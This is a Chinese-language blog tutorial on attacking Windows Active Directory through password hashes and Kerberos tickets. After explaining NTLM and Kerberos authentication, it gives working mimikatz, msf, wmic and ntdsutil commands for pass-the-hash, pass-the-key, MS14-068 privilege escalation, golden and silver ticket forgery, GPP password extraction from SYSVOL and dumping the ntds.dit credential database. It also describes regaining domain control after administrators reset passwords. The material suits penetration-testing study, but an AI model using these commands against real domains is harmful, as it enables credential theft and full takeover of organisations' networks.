一直想整理这个文章很久了,因为觉得网上的很多域渗透有关hash攻防的写的都很零散,当初我看来看去看的都很乱,没有很系统的讲解,所以本文准备从域中hash的验证流程和原理开始,因为不仅要知其然还要知其所以然,只有这样才能更好的理解hash攻防,并灵活运用。(ps:本文重点讲解hash有关的知识,所以域的一些基本概念和前期信息收集的net user之类的命令就不再赘述,这些网上整理完善的有很多)
说到域中的hash就不可避免的会说到windows中对hash的认证方式。windows中的认证协议有两种NTLM和Kerberos。
NTLM协议是早期windows工作组中的身份认证协议,采用挑战/应答的方式进行验证,过程较简单,因此也易受攻击(最常用的就是pass the hash攻击)。下面简单介绍一下认证过程(也就可以理解为用域账号登录域中机器的认证过程)
1.首先用户在客户端输入username、password、domain,然后客户端会先将用户输入的password进行hash计算并保存在本地;
2.客户端将username明文传输到域控机
3.然后域控会随机生成16字节的challenge挑战码返回给客户端
4.客户端接收到challenge之后,会用之前password的hash进行加密(称为response),和challenge、username一起发送给服务器
5.服务端将客户端发来的信息转发给域控
6.域控在接收到服务端发来的response、challenge、username,会拿着username在自己的活动目录数据库(ntds.dit)中查询出对应的password hash,并对challenage进行一次加密,如果和用户发来的response相同则身份验证成功,否则则失败。
Kerberos认证比之前的NTLM认证就要复杂多了,因为涉及到到三方:客户端,服务端和KDC(密钥分发中心), 在域环境中,KDC一般由域控来担任。这也就是为什么协议叫kerberos,因为它是希腊神话中的地狱看门犬,有三个头。
简单的来说,域中的客户端要想访问同域中的某个服务器资源时,需要首先购买该服务端认可的票据,也就是说,客户端在访问服务器之前需要预先买好票,等待服务验票之后才能入场,但是这张票不能直接购买,还需要一张认购权证,也就是说客户端在买票之前需要预先获得一张认购权证,这张认购权证和进入服务器的入场券均有KDC发售
通过前面对两种认证方式的分析可以看出,NTLM认证方式的核心就是hash,而kerberos则是票据
在域环境中,利用pass the hash的渗透方式往往是这样的:
1.获得一台域主机的权限
2.Dump内存获得用户hash
3.通过pass the hash尝试登录其他主机
4.继续搜集hash并尝试远程登录
5.直到获得域管理员账户hash,登录域控,最终成功控制整个域
mimikatz
已经test域中的一个a用户的hash为efa85b42d77dc2fdbdbdb767792b0a11mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /ntlm:efa85b42d77dc2fdbdbdb767792b0a11"
之后即可通过\\ip的等类似方式尝试登陆域机器
msf> use windows/smb/psexec
可以通过配置SMBPass选项进而尝试登陆
但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码(ps:可以通过在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
中新建键值来使下次管理员登陆后明文保存密码,但是效率太低,不推荐),且禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、PSEXEC、schtasks、at和访问文件共享,但是唯独默认的 Administrator (SID 500)账号例外,依然可以通过这个账号进行pass the hash进行攻击
当系统安装了KB2871997补丁且禁用了NTLM的时候,那我们抓取到的ntlm hash 也就失去了作用,但是可以通过pass the key的攻击方式获得权限
首先通过mimikatz "privilege::debug" "sekurlsa::ekeys"
命令来获取用户的aes key
然后通过mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c"
注入aes key
接着我们就可以用\\计算机名的方式通过远程共享查看目标机器(ps:这里必须要使用计算机名进行连接,否则会爆密码错误)
在kerboers中有两种票据
Golden Ticket: 由Kerberos的Hash加密,可以访问域内任何服务
Silver Ticket: 由服务账号(通常为计算机账户)Hash加密,只能访问指定的服务
这个漏洞的分析在这里就不再说明,可以去看深入解读MS14-068漏洞:微软精心策划的后门?,这个里面从原理到复现讲的很清楚细致,看下来也需要一定的耐心
简单来说,这个漏洞允许域内任何一个普通用户,将自己提升至域管权限
在windows server 2000以上的域控中,只要没有打kb3011780这个补丁,那么都是可以利用这个漏洞进行攻击的
漏洞利用工具ms14-068
#kerberos::purge(为了让我们自己生成的票据生效,需要我们先用mimikatz将内存中的票据清空)
ms14068.exe /domain:test.local /user:test /password:xxxxxxx/ /ptt
(接着使用域、普通域用户名和密码生成票据)接下来即可获得域管的权限
前面说到过Golden ticket 是用域中kerboers账户的hash生成的。因此如果我们在之前的域渗透过程中获取到了域控权限,或者是在域用户机器上抓取到了kerboers账户的hash,但是由于操作不慎,被域管理员发现,将所有用户的密码修改了,却忘记修改了kerboers的密码(这个很常见,即使修改了域控管理员的密码,kerboers的密码也不会改变)。这个时候我们依然可以利用kerboers的hash来重新获取域控权限。
1.首先我们要抓取kerboers的hash。
lsadump::dcsync /domain:pentest.com /user:krbtgt
2.kerberos::purge
3.kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribi
4.kerberos::ptt administrator.kiribi
5.kerberos::tgt
6.然后我们就可以获得了域控权限
前面说过Silver Ticket生成时指定了相关的服务名,因此只能用来访问相应的服务,所以局限性比较大,没有golden ticket好用
想要用mimikatz生成一个silver ticket,必须要有以下信息
/domain
/sid
/target:域控全称
/service:目标服务器上面的kerberos服务,此处为cifs
/rc4:域控的计算机账户ntlm hash
/user:要伪造的用户名(可以不存在也可是存在的)
然后使用mimikatz.exe "kerberos::golden /domain:域 /sid:SID /target:域全称 /service:要访问的服务 /rc4:NTLM /user:silver /ptt"
即可生成并导入Silver Ticket
其中一些常用的服务名有以下
服务 | 服务名 |
---|---|
WMI | HOST RPCSS |
powershell remoting | HOST HTTP |
CIFS(文件共享) | CIFS |
LDAP | LDAP |
在域环境中修改域机器的本地账户密码是个很麻烦的事情,但是微软的GPP(组策略偏好)中提供了一个批量修改本地账户的功能,可以一次性批量的修改本地账户密码(组策略不仅仅可以用来批量管理密码)。但是最初却导致了一个问题,就是域管理员在配置GPP的时候,会在SYSVOL这个文件夹中保存当前GPP配置的xml文件,如果管理员在配置的时候填入了密码,其中就包含了加密了的用户密码(SYSVOL是一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。)
一般sysvol文件的位置是\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
其中的groups.xml(Services.xml、ScheduledTasks.xml、Printers.xml、Drives.xml、DataSources.xml)就可能保存了加密后的本地管理账户密码
(ps:这些文件中并不一定存在密码,因为只有当管理员在配置的时候,在界面的密码框中输入密码之后才会保存)
获取到密码之后,我们可以通过这个powershell的脚本进行解密Get-GPPPassword.ps1
同样,我们也可以使用Get-GPPPassword.ps1这个脚本在域内自动搜索所有的sysvol中保存的密码并自动解密
这个漏洞被KB2962486所修复,这个补丁禁止在组策略配置中填入密码
当我们成功获取到了域控权限后,第一件要做的事情肯定就是登陆域控,将存有域中所有用户凭证的数据库(ntds.dit)导出,其中又有几种比较常见的方法
ntds.dit我们是没法直接进行复制拷贝的,会提示文件已被占用,这个时候我们可以通过windows提供的卷影复制功能来复制被进程占用的文件(xp和server 2003以上都存在此功能)
1.wmic /node:AD /user:PENTESTAdministrator /password:123qwe!@# process call create "cmd /c vssadmin create shadow /for=c: 2>&1 > c:vss.log"
2.wmic /node:AD /user:PENTESTadministrator /password:123qwe!@# process call create "cmd /c copy 卷影ID/Windows/NTDS/NTDS.dit C:windows/temp/NTDS.dit 2>&1"
mimikatz lsadump::lsa /inject exit
ntdsutil "ac i ntds" "ifm" "create full c:temp" q q
2018
狗
年
大
吉
HAPPY NEW YEAR